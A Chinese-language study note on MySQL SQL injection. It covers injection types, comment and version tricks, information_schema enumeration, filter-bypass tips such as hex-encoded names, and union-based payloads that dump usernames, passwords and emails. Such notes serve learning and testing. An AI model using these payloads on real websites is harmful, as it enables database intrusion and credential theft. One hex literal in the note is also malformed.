sql注入笔记1

mysql: select * from table limit 5;
mssql: select top 5 * from table;
oracle: select * from table where rounum >5;

分类：整型注入 字符串类型注入

根据注入的语法分类：
可联合查询注入
报错型注入
布尔型注入
基于时间延迟注入
可多语句查询注入

MYSQL中三种注释风格
#（url编码为%23）
–（--后边要跟上一个或多个空格）
/…/ 内联注释
select * /!50552from/ users; 内敛注释里的数字小于当前的版本号就可以运行，大于当前版本号不可运行
select @@version; 5.5.53 / 50553 查看当前数据库版本

select session_user(); select user();返回当前的用户名
select @@datadir; 查看当前数据库存在的路径
select @@basedir; 查看mysql的安装目录

MYSQL 中information_schema库 （存放了其他所有数据库对应的库名，表名，列名）

SCHEMATA表 （存放的库名）
字段：SCHEMA_NAME（库名）

TABLES表 （存放的表名）
字段：TABLE_SCHEMA（库名）, TABLE_NAME（表名）

COLUMNS表 （存放的列名）
字段：TABLE_SCHEMA（库名）, TABLE_NAME（表名）, COLUMN_NAME（列名）

select table_name,column_name from columns union select 1,2; 联合查询

？id=1 order by 9
order by 排序默认升序排序 （判断有几个字段）
order by 被过滤掉了用group by

列出所有数据库
limit 一个一个打印出来库名

select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1
因为在数据库information_schema中存着SCHEMATA表，在SCHEMATA表中存着SCHEMA_NAME列，SCHEMA_NAME列中的参数是所有数据库的名

group_concat 一次性全部显示
select group_concat(SCHEMA_NAME)from information_schema.SCHEMATA

列出（数据库：test）中所有的表
limit一个一个打印出来字段名
select TABLE_NAME from information_shcema.TABLES where TABLE_SCHEMA=‘test’ limit 0,1 //显示名为test的数据库中的第一个表
因为在数据库information_schema中存着TABLES表，在TABLE表中存着TABLE_NAME列，TABLE_NAME列中的参数是数据库中的所有表名

group_concat 一次性全部显示
select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=0x674657374
注意：数据库名称可以用十六进制来代替字符串，这样可以绕过单引号的限制。

列出（数据库：test 表：admin）中所有的字段
limit 一个一个打印出来
select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA=‘baji’ and TABLE_NAME=‘users’ limit 0,1 //显示名为baji的数据库表名为users的表中的列名
因为在数据库information_schema中存着COLUMNS表，在COLUMNS表中存放着COLUMN_NAME列，COLUMN_NAME列中的参数是数据库中的所有列名

group_concat 一次性全部显示
select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA=0x74657374 and TABLE_NAME=0x61646d696e

union select 1,2,3,group_concat(schema_name),5,6,7,8 from information_schema.schemata

union select 1,2,3,group_concat(table_name),5,6,7,8 from information_schema.tables where table_schema=‘baji’

union select 1,2,3,group_concat(column_name),5,6,7,8 from information_schema.columns where table_schema=‘baji’ and table_name=‘user’

concat_ws(0x23,username,password,email) 用#号分割

?id=-1 union select 1,2,3,group_concat(concat_ws(0x23,username,password,email)),5,6,7,8 from users